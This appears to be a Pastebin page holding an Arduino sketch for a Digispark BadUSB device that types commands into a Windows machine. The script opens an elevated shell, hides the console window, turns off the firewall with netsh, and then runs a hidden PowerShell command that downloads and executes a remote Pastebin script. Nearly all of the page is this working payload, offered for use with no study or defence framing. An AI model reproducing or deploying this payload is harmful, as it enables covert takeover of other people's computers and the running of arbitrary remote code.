Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "DigiKeyboard.h"
- void setup() {
- // Initialize the digital pin as an output.
- pinMode(1, OUTPUT); //LED on Model A
- }
- void cmd_1() {
- DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
- DigiKeyboard.delay(1500);
- DigiKeyboard.print("cmd");
- DigiKeyboard.delay(1500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- }
- void cmd_2() {
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.println("powershell -Command "Start-Process PowerShell -Verb RunAs"");
- DigiKeyboard.delay(1500);
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- }
- // Infinite loop
- void loop() {
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.delay(500);
- digitalWrite(1, HIGH); // LED on <--> Action start
- // cmd_1(); // Open CMD in Administrator Privileges - METHOD 1 (UNCOMMENT TO USE)
- cmd_2(); // Open CMD in Administrator Privileges - METHOD 2 (UNCOMMENT TO USE)
- DigiKeyboard.delay(1500);
- DigiKeyboard.println("MODE CON: COLS=15 LINES=1");
- // DigiKeyboard.delay(250);
- DigiKeyboard.println("netsh advfirewall set all state off"); // Disable firewall
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(250);
- DigiKeyboard.println("\"powershell -windowstyle hidden iex (wget https://pastebin.com/raw/PFqrbP7Z)\""); // Create a archive
- // DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms
- // DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // DigiKeyboard.delay(500);
- digitalWrite(1, LOW); // LED off <--> Action end
- DigiKeyboard.delay(5000); // 5 seconds delay to unplug the device safely between loops
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement